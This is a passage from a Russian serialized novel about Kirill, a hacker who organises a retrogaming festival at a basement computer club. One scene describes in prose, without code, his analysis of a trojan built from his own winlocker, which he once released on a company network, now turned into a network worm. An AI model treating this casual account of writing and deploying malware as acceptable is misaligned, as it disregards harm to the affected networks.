несет чуть больше, а  если у  нас появится постоянная тусовка серьезных
дяденек за  тридцать, выгнать нас оттуда будет немного сложнее, правда?
В общем, я предлагаю замутить в «Экране» фестиваль ретрогейминга.

— Со «Спектрумами»? — удивленно хлопая глазами, переспросил Серёга.
— Со «Спектрумами», «Амигами», «Атари» и прочими «Апогеями» с «Мик‐

рошами». Мероприятие нужно небольшое, много народу в  наш подвал все
равно не поместится, но громкое.

— Да кто в нашу пердь попрется‑то? — недоверчиво протянул Серёга. —
Тут же окраина мира, конец цивилизации. За  Ковалёво вон обитаемая все‐
ленная вообще заканчивается, там обрыв и жопы слонов торчат, на которых
земная твердь покоится…

— Не  дрейфь, Серый, попрутся, если общественность о  предстоящем
фестивале правильно проинформировать. Это я беру на себя. Кстати, у тебя
знакомых журналистов случайно нет?

— Журналистов?..  — Сергей, все еще  пребывавший в  некоторой рас‐
терянности от Кириного напора, взъерошил ладонью непослушную шевелю‐
ру. — Нет… Хотя подожди, я у мамы спрошу. Ее сестра, тетя Рита, в какой‑то
газете работает.

— Серёжа! — донесся из коридора требовательный женский голос — Ты
на часы смотришь? Погуляй с Пронькой, а то он сейчас на полу наделает!

— Уже иду, мам! — крикнул Сергей и повернулся к своему гостю: — Пой‐
дем, я собаку выведу, по дороге еще поболтаем.

Утро в «Синем экране» начиналось одинаково каждый день: тихий скрип кре‐
сел по  линолеуму, приглушенный гул системных блоков и  запах слегка под‐
горевшего кофе, который Кирилл приносил с  собой из  дома в  термосе.
Сегодня он почти опоздал: утром позвонила мама, долго выпытывала, как  у
него дела, хорошо ли он питается и  достаточно ли теплая у  сына одежда.
Как  минимум Кирилл был рад узнать, что со  здоровьем у  нее понемногу
наладилось: доктора в  подгорской больнице провели плановое обследова‐
ние и ничего опасного больше не обнаружили.

— Ой, чуть не забыла: представляешь, я Юру вчера видела, — сообщила
напоследок мама, заставив Кирилла напрячься.

Встречи с отчимом ничем хорошим обернуться не могли. В прошлом они
и  вовсе заканчивались рукоприкладством, после одного из  которых Кирилл
все‑таки упрятал его за решетку, воспользовавшись неожиданно подвернув‐
шейся возможностью.

— И что он? — настороженно поинтересовался Киря.
— Да ничего, Кирюш. По‑моему, он меня даже не узнал. Я в продуктовый

с тетей Таней пошла, и вдруг она говорит: смотри, это твой, кажется. Я гля‐
нула — и вправду он. Грязный весь, обросший какой‑то, в помойке копается,
на  бомжа стал похож. Бутылку в  мусоре нашел, допил и  в мешок спрятал,
такой же грязный, как он сам. Посмотрел в мою сторону и отвернулся. Я быс‐
трей‑быстрей идти оттуда, пока он меня не окликнул…

— Ну и хорошо, что не окликнул, — выдохнул с облегчением Кирилл.
В том, что отчим рано или поздно закончит свои дни в помойке, он ничуть

не сомневался, главное, чтобы перестал портить жизнь окружающим.
Хлопнула дверь, и в клуб ввалился довольный собою Ваня Зарубин.
— Принес! — торжественно объявил он с порога.
— Чего принес?  — переспросил занятый своими мыслями Кирилл,

а потом вспомнил, о чем они разговаривали в прошлый раз.
— Винчестер принес, — Иван с гулким стуком выложил на стойку жесткий

диск. — Блин, чуть не спалили. Но я выкрутился. Только его назад надо вер‐
нуть поскорее, пока не хватились.

Внешнего корпуса для  винчестеров с  USB-интерфейсом у  Кирилла
не имелось, поэтому он водрузил на стол запасной системник с открученной
боковой крышкой, подцепил к  материнской плате шлейфом принесенный
Иваном диск и врубил питание. Вредоноса он обнаружил довольно быстро —
он лежал в папке , не особо скрываясь. Поменяв расширение на 

, чтобы программа случайно не  запустилась, Кирилл скопировал файл
на флешку, вернул винчестер законному владельцу и воткнул флешку в свой
ноутбук.
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Иван перегнулся через стойку, изо всех сил стараясь заглянуть в  экран,
и  принялся сопеть Кириллу в  ухо чесночным духом  — видно, слопал где‑то
по дороге шаверму.

PEiD сообщил, что прога написана на  «плюсах» и  не упакована. Кирилл
загрузил файл в IDA, решив посмотреть, что у него внутри. В кармане против‐
но затренькал телефон.

— Алло? — Кирилл прижал трубку к уху, не отвлекаясь от работы.
— Кирыч, это Сергей, — услышал он радостный и бодрый голос, — тетка

нам журналиста нашла, запиши‑ка телефон. Его Жора зовут…
Зафиксировав номер в текстовом файле, Кирилл наспех набрал и отпра‐

вил журналисту эсэмэску, после чего снова погрузился в  исследование. Он
вглядывался в  графы IDA, как  в старую карту средневекового города: блоки
функций сходились в привычные маршруты, комментарии и имена импортов
вырисовывали знакомые очертания. Кирилл узнал этот код.

Это были до боли знакомые функции сохранения копии файла и блокиров‐
ки системы, тот же набор вызовов API для перехвата ввода, та же хитрая схе‐
ма перерисовки окна поверх всего рабочего стола, те же проверки сочетаний
клавиш и таймеры. Кирилл знал этот код до мурашек, до последнего байта —
он сам написал его, прежде чем запустил в  локальную сеть фирмы
«Икс‑Байт», сидя на крыше соседнего здания.

А вот за пределами ядра трояна творилось странное. Следы расходились
не  туда, куда должен был вести чистый локальный винлокер. В  бинарнике
откуда‑то появились вызовы сокетов, механизмы сериализации данных
и  нетипичная логика  — обнаружение соседних хостов в  локальной сети,
попытки смонтировать сетевые ша́ры, рекурсивный обход общих папок. Его
простая функция блокировки компьютера теперь стала автомобилем с  при‐
цепом: после захвата экрана шел вызов подпрограммы, которая пыталась
передать тело трояна по  сети, прописывалась в  автозагрузке на  найденных
машинах и  запускала собственную копию для  последующей активации
локального блокиратора.

В нескольких местах он увидел маркеры: ,

, . Где‑то среди дизассемблированного

листинга мелькали строки вроде  и код, который ожидал внеш‐
ней команды  — возможность массового включения блокировки по  рас‐
писанию или  по сигналу с  контролирующего сервера. Да  и сам адрес этого
сервера не  был жестко запрограммирован, не  хранился в  явном или  даже
зашифрованном виде, он формировался динамически, по  какому‑то стран‐
ному алгоритму, логику которого Кирилл сейчас понять не мог.
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Пальцы побелели, сжав подключенную к  ноутбуку для  удобства мышку.
Кто‑то не просто взял его винлокер — его код сделали частью сетевого чер‐
вя, способного захватить не одну машину, а целый подвал с компьютерами.
А  если не  повезет, подобный ботнет вполне может превратить локальное
заражение в настоящую глобальную эпидемию. Какой‑то неизвестный хакер
без спроса позаимствовал его наработки, дополнил сетевой логикой и соб‐
рал новый бинарник.

Сердце Кирилла забилось чаще: нужно поскорее понять, кто это  сделал,
зачем — и, главное, можно ли остановить расползающееся заражение, пока
оно не вышло из‑под контроля. © X
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Лежащий на  полу возле надувного матраса телефон прон‐
зительно задребезжал, вырывая Кирилла из теплых объятий
сна. Он нащупал рукой вибрирующую трубку, глянул
на экран, с трудом разлепив глаза, и вдавил кнопку приема
звонка. Этому абоненту следовало ответить, даже несмотря
на  то, что тот решил разбудить его в  девять часов утра,
да еще и в выходной.

— Алло, это  Жора!  — услышал Кирилл приглушенный расстоянием хрип‐
ловатый голос. — Журналист который, из «Инфо‑пресса». Ты мне вчера сооб‐
щение прислал про какой‑то ретрофестиваль, было дело?

— Ага, было, — откликнулся Киря, прижав телефон к уху плечом и потирая
запястьями опухшие после сна веки.  — Хорошо, что вы позвонили. Мы тут
в  районном компьютерном клубе интересное мероприятие затеяли, хотим
его вытащить на городской уровень. Ваша поддержка была бы очень кстати.

— Вот и  расскажи мне про  это ваше ретро,  — хохотнула трубка,  —
силенок‑то хватит на  городской уровень? Или, кроме идей, у  вас и  нету
ничего?

С чем‑то более материальным, чем идеи, пока еще и впрямь было негусто,
но Кирилл решил не раскрывать собеседнику всех карт и даже немного прив‐
рать, чтобы не упустить едва наметившийся контакт с «акулой пера».

— Мы сейчас вовсю работаем над  реализацией проекта. Люди уже обе‐
щали принести свои компьютеры, будут турниры… Рассчитываем где‑то
на сорок — пятьдесят человек, программу как раз согласовываем с участни‐
ками…

— Так, стоп, — прервал поток его красноречия журналист, — давай лучше
обсудим все это не по телефону. Ты в центре бываешь? Вот и отлично. Под‐
руливай сегодня часам к  четырем в  «Деметру» на  Восстания, там и  побол‐
таем.

Едва нажав отбой, Кирилл дополз до  стола, раскрыл ноутбук и  запустил
«аську». Контакт с никнеймом iV1rus радовал глаз зеленым цветочком, а зна‐
чит, Ваня Зарубин уже успел вернуть почищенный от  троянов винчестер
на место и теперь снова мучает компьютер отца, пока тот отдыхает от трудов
праведных. Развернув мышкой окно чата, Кирилл набрал короткое сооб‐
щение:

«Привет, настало время платить добром за  добро :) У  тебя есть
кто‑нибудь, кто рисовать хорошо умеет? Надо по‑быстрому сделать несколь‐
ко флаеров и плакатов».

«Аська» помедлила с минуту и замигала желтым конвертиком в ответ:
«Здорово, вроде есть. А что за движуха?»
«Потом расскажу,  — отстучал на  клавиатуре Кирилл.  — Вечером в  клуб

заходи и художника своего с собой притаскивай. Там все подробности узна‐
ешь».

С наглядной агитацией вроде бы разобрались, теперь надо уговорить вла‐
дельцев ретрокомпов принять участие в этой авантюре. «Что нам понадобит‐
ся?»  — принялся размышлять Кирилл. Чтобы тусовка выглядела хоть
сколь‑нибудь представительной, нужна как  минимум парочка «Синклеров»,
по  одной классической «Амиге» или  «Атари», несколько советских компов,
а еще штук шесть старых телевизоров. Надо бросить клич на форумах спек‐
трумистов, написать на  городские борды. Хорошо  бы засветиться
в  какой‑нибудь «Игромании», но  в такие крупные издания просто так
не пробьешься, да и согласовывать публикацию будут с полгода, а у них в луч‐
шем случае неделя‑полторы в запасе. С другой стороны, все серьезные жур‐
налы имеют и  свои собственные форумы, где может зарегистрироваться
любой желающий…

Ненадолго отложив насущные дела в  сторону, Кирилл посетил уборную,
умылся, наспех позавтракал яичницей с кофе и взялся за сочинение постов.
Особыми литературными талантами он похвастаться не  мог, да  и в  рекламе
был не слишком искушен, однако творческий процесс увлек его не на шутку.
Прочитанный пару месяцев назад роман про копирайтера‑криейтора Вавиле‐
на оказался неожиданно полезен: там герой творил тексты, будто смешивал
коктейли из самых неожиданных ингредиентов, и Кирилл решил взять с него
пример. Он набросал несколько вариантов сообщений, тасуя слова, точно
грани кубика Рубика: «Внимание, фанаты Spectrum и  Atari!», «Суббота, фес‐
тиваль „РетроДейз“, клуб „Синий экран“, игры, турниры, обмен кассетами!»…
Каждая версия казалась чуть лучше предыдущей, пока наконец он не  оста‐
новился на самой, как ему виделось, подходящей. Ее он и запостил на нес‐
колько форумов, а потом взглянул на часы и ужаснулся: за работой пролетело
полдня, и Кирилл уже понемногу опаздывал на намеченную встречу.

Выбраться из  его района в  центр  — то еще  приключение, метро здесь
не  было даже в  проекте, а  раздолбанные «Газели»  — маршрутки ходили
нечасто. К  долгим пешим прогулкам не  располагала едва сросшаяся и  все
еще  ноющая время от  времени нога. «Надо на  права сдать и  машину
какую‑нибудь раздобыть,  — ускоряя шаг, подумал он,  — без  транспорта
что‑то совсем тяжко становится».

На площадь Восстания Кирилл приехал без четверти четыре и последние
метры до  бара «Деметра» уже бежал. Но, как  оказалось, торопился он нап‐
расно: журналист запаздывал. Появился он спустя пятнадцать минут, когда
Кирилл уже заказал себе пива с жаренными в чесноке хлебными ломтиками
и устроился за столиком ближе к входу.

— Привет, — бросил Жора, присаживаясь напротив, — извини, что задер‐
жался, в редакции, как обычно, дурдом и бедлам.

Кирилл с  интересом рассматривал вошедшего: лет около сорока, седе‐
ющие густые волосы, будто случайно оставленные в творческом беспорядке,
но  вместе с  тем не  создававшие впечатления неухоженности. Легкая неб‐
ритость придавала лицу налет небрежной элегантности, картину довершал
расстегнутый ворот рубашки, из‑под которого выглядывала тонкая золотая
цепочка. Журналист свернул плащ, бросил его на  спинку соседнего стула
и  вопросительно уставился на  своего визави, ожидая, пока тот заговорит
первым.

— Может, пива? — предложил Кирилл. — У них тут сегодня пэйл эль неп‐
лохой предлагают.

Журналиста заметно передернуло.
— Не пью, совсем. Уже лет десять. Тебя останавливать не буду, заказывай,

если хочешь. А  я, пожалуй, зеленого чая вместо зеленого змия возьму, он
здесь отменный. Я хозяина этого заведения неплохо знаю, он у китайцев чай
покупает, не какие‑нибудь помои с Апрашки.

— А как к вам лучше обращаться? — вежливо поинтересовался Кирилл. —
Я так понимаю, Жора — не полное имя?

— По  паспорту Георгий,  — пожал плечами журналист,  — но  пусть будет
Жора, я привык. Так что там у вас за шалман намечается и чем он может быть
мне интересен?

Кирилл начал рассказывать и вскоре так увлекся, что выложил журналисту
практически все: и  о прошлом компьютерного клуба, и  о попытке отжать
помещение, и о том, как у него возникла безумная идея сделать из «Синего
экрана» центр притяжения поклонников старых компьютеров. Жора слушал
внимательно, не перебивая, — видимо, умение слушать, а главное, слышать
собеседника было частью его профессиональных навыков.

— История интересная,  — задумчиво произнес он, когда Кирилл завер‐
шил свое повествование и  умолк, чтобы перевести дух,  — но  задачу вы
на  себя, парни, взвалили непростую. Впрочем, учитывая ваш энтузиазм
и самоуверенность, я почти не сомневаюсь, что все получится. Думаю, из это‐
го вполне можно сделать увлекательный анонс. А  если и  на само мероп‐
риятие меня позовете, то и о том, как оно прошло, заметку потом опубликуем.

— Конечно, позовем!  — горячо заверил его Кирилл.  — А  вы, кстати,
в каком журнале работаете?

— Ты вот это  серьезно сейчас спрашиваешь?  — Жора склонил голову
и  посмотрел на  собеседника с  ироничной улыбкой.  — Ага, вижу, что серь‐
езно. Ну тогда открою тебе великую тайну: в  нашей стране практически нет
журналистов, которые работали  бы на  какое‑то одно конкретное издание.
Иначе такие уникумы уже давно передохли бы с голоду. Все трудятся на нес‐
колько газет и журналов сразу, иногда даже на конкурирующие издательства,
причем одновременно. И все об этом знают, но таковы уж правила игры. Что
же касается твоей истории…

Жора на  мгновение задумался, ущипнул подбородок, потом расстегнул
сумку, которую оставил рядом с  плащом, и  с громким шлепком бросил
на стол увесистую газету, напечатанную на дешевой сероватой бумаге.

— Есть у  нас в  «Инфо‑прессе» вот такая многотиражка, «Техносфера»
называется. Видел, может?

Кирилл раскрыл толстую газету, более похожую на  журнал, примерно
посередине, и  его взгляд уперся в  ровные столбцы таблиц, пестревших
наименованиями компьютерных комплектующих, ценами на  них и  телефо‐
нами компаний‑продавцов. Перелистнул несколько страничек: материнские
платы, видеокарты, процессоры, модемы…

— Ну да, это  сводный прайс,  — подтвердил его догадки Жора,  — но  в
начале и в конце там есть несколько полос со статьями. Обзоры железа, соф‐
та, игр. Вот туда мы заметку про этот ваш фестиваль и запихнем. Такие прай‐
сы в  основном компьютерщики берут, это  и есть ваша основная целевая
аудитория.

— А  если я вам письма с  приглашениями на  фестиваль покажу, сможете
покритиковать?  — Этот человек нравился Кириллу все больше и  больше,
потому он решил воспользоваться подвернувшимся шансом и  извлечь
из сегодняшней встречи максимум пользы.

— Ну давай, — пожал плечами тот, мельком глянув на часы.
С минуту Жора вдумчиво просматривал сделанные Кириллом от руки наб‐

роски, потом протянул ему исписанные листки обратно.
— Говно полное, — констатировал он. — Вот для кого ты все это писал?
— Ну…  — задумчиво протянул Кирилл.  — Для  владельцев ретротехники.

Для тех, кто интересуется компьютерной историей…
— А в чем тогда их интерес тащиться к вам на край города, да еще и компы

с собой волочь? Вот ты пишешь: мы организуем… Мы приглашаем… Да нас‐
рать им на  вас с  большой колокольни. Ты исходи из  их личных нужд и  пот‐
ребностей. Чего они хотят? В  чем их боль? Расскажи им, какую пользу они
получат, если поднимут жопу с  дивана и  попрутся к  вам хрен знает куда
в  выходной день. С  единомышленниками там пообщаются, выиграют что‑то
полезное, кассеты с  играми прикупят… Короче, заинтересуй их. Тогда
и посетители, и участники у тебя будут.

С этой точки зрения проблему Кирилл еще  не оценивал и  теперь пос‐
мотрел на свои тексты совершенно другими глазами.

— Спасибо вам большое, Жора! Вот честно, очень помогли.
— Можно на  ты. Ладно, заболтался я тут с  тобой. Был рад знакомству

и  желаю удачи. Заметка в  четверг выйдет, только позвони мне сразу, если
чего‑нибудь отменится.

В «Синий экран» Кирилл завалился уже в сумерках, а следом за ним туда же
зашел Иван. Да не один, а в сопровождении невысокой девицы с вьющимися
темными волосами до  плеч, меланхолично жевавшей жвачку и  всем своим
видом показывавшей, что оказалась она в  этом заполненном подростками
подвале совершенно случайно.

— Это Маша, — представил спутницу Зарубин, — ты художника искал, вот, я
привел.

— Привет, — кивнул Кирилл.
Вместо ответа Маша надула огромный розовый пузырь, и тот, оглушитель‐

но лопнув, оставил у нее на носу тонкую пленку, которую девушка равнодушно
смахнула пальцем, не меняя безразличное выражение лица.

— «Фотошопом» владеешь?  — с  интересом разглядывая девицу, будто
заморскую диковину, спросил Кирилл.

— Ага. И «Корелом», — голос у нее оказался густой и тягучий, как малино‐
вое варенье. — А чего рисовать‑то надо?

— В курсе, что такое пиксельная графика? Смотри…
Кирилл развернул к  ней экран ноутбука, куда вывел парочку найденных

в интернете картинок, и та придвинулась поближе, не переставая методично
работать челюстями. Пахло от девушки какой‑то лавандовой туалетной водой,
и этот аромат казался одновременно чересчур резким и почему‑то притяга‐
тельным.

— Надо нарисовать три плаката на стены и флаер с приглашением на фес‐
тиваль вот в  таком стиле,  — пояснил Кирилл.  — Времени у  нас в  обрез,
потому результат нужен срочно. Сможешь?

— Как  нефиг делать,  — снова хлопнула надутой жвачкой Маша.  — Пять
сотен за картинку, завтра будет готово.

— Ладно, — согласился Кирилл, — но оплата по факту.
— А не кинешь?
— Зуб даю. Вано вон подтвердит, я честный мужчина с самыми серьезны‐

ми намерениями. Теперь вот чего, народ…
Кирилл быстро изложил сосредоточенно внимавшему Ивану краткую вер‐

сию всей истории с  самого начала, а  Серёге, появившемуся из  компьютер‐
ного зала, результаты сегодняшней встречи с журналистом.

— Ваня, твоя помощь нам тоже понадобится. Нужно будет раздать флаеры
возле компьютерного магазина, ну, знаешь, который у нас тут у автобусного
кольца? Еще  в несколько технических вузов надо будет съездить и  там рек‐
ламки пораздавать. Серёг, у тебя пара‑тройка толковых приятелей найдется?
Пригласи их завтра утром сюда, нам срочно нужны люди в команду. Пока рас‐
клад такой: Маша будет заниматься дизайном, Ваня  — рекламой и  рас‐
пространением флаеров, ты, Серёга, отвечаешь за  подготовку помещения
и подключение техники. Я возьму на себя переговоры с участниками, полиг‐
рафию и общую организацию. Открытие фестиваля назначаем на следующие
выходные, к пятнице все должно быть готово. Вопросы?

— А  если не  успеем?  — протянул в  своей извечной манере Сергей.  —
Времени уже почти не осталось, а тут столько всего переделать надо… Обла‐
жаемся ведь…

— Так, отставить нытье!  — хлопнул ладонью по  столу Кирилл.  — Я
не  понял: ты хочешь клуб сохранить или  тебе больше нравится жаловаться
на судьбу, чем что‑то делать?

— Ну, хочу, конечно…
— Тогда собери, пожалуйста, задницу в кулак и прояви характер. Ты ведь

крутой админ, не так ли? Повелитель сетей и заклинатель витой пары?
— Ну, в целом…
— А ничего другого от тебя и не требуется. Просто сделай так, чтобы все

работало идеально, нигде ничего не  коротило и  пробки не  выбивало, а  об
остальном мы как‑нибудь позаботимся.

Кажется, напутствие возымело действие: Сергей чуть расправил сутулые
плечи, перестал мяться и  принял более уверенный вид, свойственный ему
в  те минуты, когда он прекращал себя жалеть и  собирался заняться чем‑то
полезным. Кирилл наблюдал за  этой метаморфозой с  явным облегчением.
Накопившаяся за  день злость ушла, уступив место спокойной уверенности:
да, они успеют, они вытянут. Иначе просто и быть не может.

Кирилл молча огляделся вокруг и вдруг поймал себя на том, что впервые
за  долгое время почувствовал спокойствие. Все как  будто вошло в  колею:
клуб пока еще  живет, и  не зря они столько возились. За  дверью слышался
ровный гул вентиляторов старых компьютеров, дробные щелчки клавиатур,
там смеялись и  переговаривались те, кто пришел сюда поиграть и  просто
потусоваться. В  самой атмосфере ощущалась энергия, которая странным
образом держала все это разношерстное сообщество на плаву. Кто‑то в зале
включил на полную громкость колонку, и помещение заполнила хорошо зна‐
комая Кириллу мелодия: «Все таблетки подъедены, марки тоже наклеены…»

Все задачи поставлены, роли распределены, дедлайн установлен, настало
время действовать. У  них есть еще  воскресенье, а  потом  — долгие пять
рабочих дней, можно сказать — целая вечность. © X
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Время от  времени Кириллу казалось, что человечество
делится не на мужчин и женщин, не на богатых и бедных, а на
тех, кто способен понять принцип работы компьютера, и тех,
кто смотрит на него, как на икону, ожидая, что чудо произой‐
дет само собой. Причем вторых в процентном соотношении,
как  оказалось, подавляющее большинство. Запустить
на  компе вложенного в  письмо с  обещанием халявы тро‐
яна‑шифровальщика ума у них вполне хватило, а вот выпол‐
нить несколько простых действий, чтобы вернуть потерянные
файлы, — уже нет.

Кирилл приделал к  своему расшифровщику простой интерфейс: юзерам
всего‑то нужно было указать программе путь к  поврежденным данным
и фрагменту исходного документа при его наличии да ответить на пару воп‐
росов. Но и это оказалось для большинства чересчур сложной задачей, даже
несмотря на  выложенную на  сайте подробную инструкцию. Один страдалец
между делом обвинил Кирилла в  том, что тот сам распространяет энкодеры
с  целью поживиться на  несчастных жертвах вымогателей, многие же просто
ругались, что утилита не  работает, хотя сами не  сумели выполнить простую
последовательность из нескольких действий. Как говорил Альберт Эйнштейн,
«бесконечны только Вселенная и  глупость человеческая», и  в этом Кирилл
был полностью солидарен с великим ученым.

Тем не менее сегодня с утра на его WM-кошелек капнули пятьдесят бак‐
сов от  какого‑то русскоязычного пользователя из  Германии, чем доход
от всей этой затеи и ограничился. Объемы дурацких вопросов по работе ути‐
литы и  ругани в  его адрес от  людей, принявших Кирилла за  создателя
заразившего их трояна, оказались в  разы больше. Оценив раскрывшиеся
перед  ним мрачные перспективы этого бизнеса, Киря подумал, сделал рас‐
шифровщик и  вовсе бесплатным, предложив желающим оставлять автору
добровольные донаты. Возиться с  жертвами вредоносной программы, нес‐
пособными без посторонней помощи нажать две кнопки на клавиатуре, у него
совершенно не было ни времени, ни желания.

«Толковые приятели», которых прямо с утра притащил в клуб Серёга, ока‐
зались парочкой тощих парней типичного студенческого вида. Наиболее
смышленым из этих двоих выглядел похожий на Шурика из советских комедий
блондин Олег, которому Кирилл решил поручить самую ответственную мис‐
сию.

— Знаешь, где находится главный городской радиорынок?  — сразу
перешел он к делу.

— Это «Юнона» на Маршала Казакова?
— Ага, она самая. Завтра с утра я выдам тебе пачку рекламок, нужно будет

сгонять на  эту «Юнону» и  поговорить с  владельцами точек, которые компь‐
ютерным железом торгуют. Желательно старым. Предложение такое: мы им
тут сделаем рекламу в  нашем клубе, а  они пускай раздают флаеры с  приг‐
лашением на  фестиваль своим покупателям. Отсыплешь каждому понем‐
ножку, рекламки тоже денег стоят. Что останется, раздашь посетителям рын‐
ка. Оплата по факту. Все понятно? Теперь ты…

Второму студенту Кирилл поручил пробежаться по району и выяснить, где
в  окрестностях недорого сдаются помещения. На  недоуменные вопросы
Серёги Кирилл только отмахнулся: есть, мол, одна идейка, но в подробности
он его посвятит как‑нибудь потом. Заодно Киря попросил совладельца клуба
подумать о призах, которые они могли бы вручить победителям конкурсов.

Маша появилась ближе к  обеду, притащила записанные на  CD-болванку
картинки. На  сей раз она была одета в  короткий голубой пуховичок‑дутик,
открывавший вид на  ножки в  обтягивающих черных джинсах, весьма строй‐
ные, как  заметил Кирилл. Жвачка, впрочем, оказалась на  своем привычном
месте.

— У меня флешки нету, — пожаловалась девушка, протягивая диск.
— Купим тебе флешку,  — пообещал Кирилл, с  интересом разглядывая

получившиеся макеты на экране.
Вышло в целом неплохо, у девчонки определенно имелся художественный

вкус и способности к рекламному дизайну. Плакаты, правда, на взгляд Кирил‐
ла, вышли немного мрачноватыми, но в целом стильными. Он указал на нес‐
колько мелких недочетов, и Маша сразу же исправила их прямо на админис‐
траторском компе, куда Кирилл догадался заранее водрузить «Корел».

— Отличная работа,  — похвалил он, отсчитывая из  кассы обещанный
художнице гонорар.

— В  общем‑то, я и  на фестивале поработать могу,  — надув розовый
пузырь, предложила девушка. — Ваня говорил, у вас тут интересная движуха
намечается, а игры я люблю.

— Толковые люди нам всегда нужны,  — не  раздумывая, согласился
Кирилл,  — добро пожаловать в  команду. Слушай боевую задачу: в  первую
очередь нужно раскидать по интернету информацию и приглашения на фес‐
тиваль, тексты я дам. Список сайтов и  адресов для  рассылки вы с  Серёгой
сами составите, чем больше народу удастся охватить, тем лучше. Может, хоть
кто‑то придет. А я пока делами насущными займусь.

Полиграфический центр в  этом районе работал только один, да  и тот рас‐
полагался на другом его конце, из‑за чего добираться туда пришлось на мар‐
шрутке. Выбравшись из  тесной и  скрипучей «Газели», Кирилл принялся
месить по‑весеннему размокшую грязь, облепившую ботинки тяжелыми ком‐
ками. Солнце на посветлевшем небе уже намекало на скорый приход теплых
дней, воздух пах сыростью и чем‑то железным — то ли от талого снега, то ли
от  промасленных рельсов за  гаражами. Кирилл чертыхнулся, перепрыгивая
через лужу, но  все равно провалился по  щиколотку в  холодную воду. Город
понемногу просыпался после долгой зимы: проезжавшие мимо машины
рычали бензиновым выхлопом, прохожие шаркали по  мокрому асфальту,
но  все вокруг казалось еще  немного замедленным, как  будто кто‑то убавил
скорость жизни на пару кадров в секунду.

Остановившись у  старого двухэтажного особняка, чтобы вылить хлюпающую
в башмаке жижу, Кирилл поднял глаза на облупившуюся вывеску возле метал‐
лического крыльца, приколоченную здесь, наверное, еще  во времена раз‐
витого социализма. На потемневшей от времени черной эмали красовались
золотисто‑желтые буквы: «Учебно‑спортивное объединение ДОСААФ»,
а  ниже виднелась еще  одна невзрачная табличка: «Автошкола». Сомнения
длились считаные секунды: нацепив на  ногу мокрый ботинок, Кирилл
решительно взбежал по ступеням и толкнул тяжелую деревянную дверь.

Внутри оказалось прохладно, темно и  гулко, как  в заброшенном доме
культуры. Поначалу Кириллу подумалось, что это заведение уже давным‑дав‐
но не  работает, а  призрак здания торчит на  окраине города, как  фата‑мор‐
гана посреди пустыни. Но, прислушавшись, он все же уловил отдаленные
признаки жизни: где‑то бормотал радиоприемник, слышался приглушенный
кашель и дребезг телефонного аппарата. Ориентируясь на звук, он очутился
перед  приоткрытой дверью с  табличкой «Приемная», куда, постучавшись,
вошел. С  той стороны обнаружился просторный кабинет и  заваленный
бумагами письменный стол, где среди папок с документами громоздилась —
ну надо же! — пишущая машинка. За столом восседала крупная молодая жен‐
щина в старомодной вязаной кофте и задумчиво разгадывала кроссворд.

— Здравствуйте, — вежливо поприветствовал ее Кирилл. — Если не оши‐
баюсь, у вас тут учебно‑спортивная организация? Я пришел поучиться.

Женщина нехотя оторвалась от  своего занятия и  смерила вошедшего
недовольным взглядом.

— У  нас есть стрелковая секция, есть спортивно‑туристическая. Можно
с самолета с парашютом прыгнуть.

— А еще?
— Можно без парашюта.
— Там, на входе, написано «автошкола».
— Ах, это…  — дама поморщилась, словно у  нее спросили о  чем‑то неп‐

риличном, — есть, да. Занятия два раза в неделю по вечерам, имеется группа
выходного дня. Семь с половиной тысяч, можно частями. Прино́сите мне две
фотографии три на четыре, ксерокопию паспорта, медицинскую справку фор‐
мы 003-В/у с отметкой психиатра и нарколога и приступаете к занятиям. Бли‐
жайшее в этот четверг, в семь вечера.

— Спасибо, я подумаю, — кивнул Кирилл, которому совершенно не пон‐
равилось безразлично‑наплевательское отношение досаафовской сотрудни‐
цы.

Впрочем, других автошкол в окрестностях не водилось, а перспектива тас‐
каться дважды в  неделю куда‑то в  соседний район его совершенно
не радовала. Да уж, дилемма…

Полиграфический центр обосновался в  таком же точно подвале, в  каком
обитал «Синий экран», только здесь вместо компьютеров помещение запол‐
няли гигантские принтеры, глядя на которые Кирилл вспомнил замысловатое
название «ризограф», какие‑то таинственные станки и  вдобавок ко  всему
устройство, похожее на гильотину. По углам рядами стояли рулоны с бумагой
и  разноцветной виниловой пленкой. Посреди всего этого великолепия
высилась полуразобранная копировальная машина с надписью Duplo. Стоило
Кириллу деликатно покашлять, из «Дупла» выпорхнул похожий на взъерошен‐
ную сову мужичок и принялся нервно вытирать тряпкой перемазанные крас‐
кой руки.

— Мне нужно три плаката формата А3 и пятьсот черно‑белых флаеров, —
сообщил Кирилл, протягивая мужичку диск. Немного подумал и  добавил:  —
Еще комплект фотографий три на четыре. И паспорт отксерить.

— Фотографироваться прямо сейчас будете? — уточнил полиграфист.
— Нужно, конечно, морально подготовиться к столь важному событию, —

задумчиво ответил Кирилл, — но время не ждет, поэтому я постараюсь изоб‐
разить из себя человека.

— Тогда проходите вот сюда,  — приглашающее махнул тряпкой
мужичок, — там есть зеркало, можно поправить прическу.

Когда с  фотосъемкой было покончено, Кирилл перешел дорогу и  присел
за  столик расположенного напротив кафе  — голод уже давал о  себе знать.
Да  и в  типографии предложили погулять где‑то часик, пока они печатают
тираж и  режут раздаточный материал. Едва он заказал салат и  кофе, в  кар‐
мане запиликал телефон.

— Алло, это организатор фестиваля «РетроДейз»? Здрасьте! Я вашу рек‐
ламу в интернете увидел, позвонил в компьютерный клуб, а мне ваш телефон
дали…

«Надо будет сделать внушение Серёге, чтобы не  сообщал мой номер
всем подряд», — подумал Кирилл, а вслух ответил:

— Добрый день, все верно.
— Скажите, а с игровыми приставками вы участников принимаете? У нас

здесь небольшая команда любителей «Денди», собираемся иногда, играем…
Можем приставки в  ваш клуб принести и  картриджи тоже, тут накопилась
целая коробка на обмен…

Что ж, если сборище посвящено ретрогеймингу, то и  «Денди» тут будут
вполне уместны.

— Сколько вас и сколько у вас приставок? — деловито поинтересовался
Кирилл.

— Нас семеро, на всех есть четыре «Денди» и «Денди Юниор», еще нес‐
колько «Сюборов». Это такие консоли с клавиатурой…

— Знаю. Приносите. Лучше в  пятницу, чтобы мы успели все подключить
и настроить…

Значит, нужно где‑то разжиться еще  минимум четырьмя телевизорами.
Этим лучше озадачить Серёгу, он специалист по железу, вот пусть и занима‐
ется оборудованием. Телевизоры тоже, как  ни крути, электроника, так что
это  по его части. А  еще нужно завести ежедневник и  записывать туда всю
поступающую информацию, а то от обилия вводных уже понемногу начинает
пухнуть голова.

Второй звонок поступил, когда Кирилл уже почти притащил свернутые
в трубочку плакаты и пакет с флаерами к дверям клуба.

— Привет, хотим поучаствовать в  вашем фестивале,  — затараторили
в трубке, — только один вопрос: у вас демосцена будет?

— Будет! — ответил Кирилл, хотя только что услышал это странное слово
впервые.

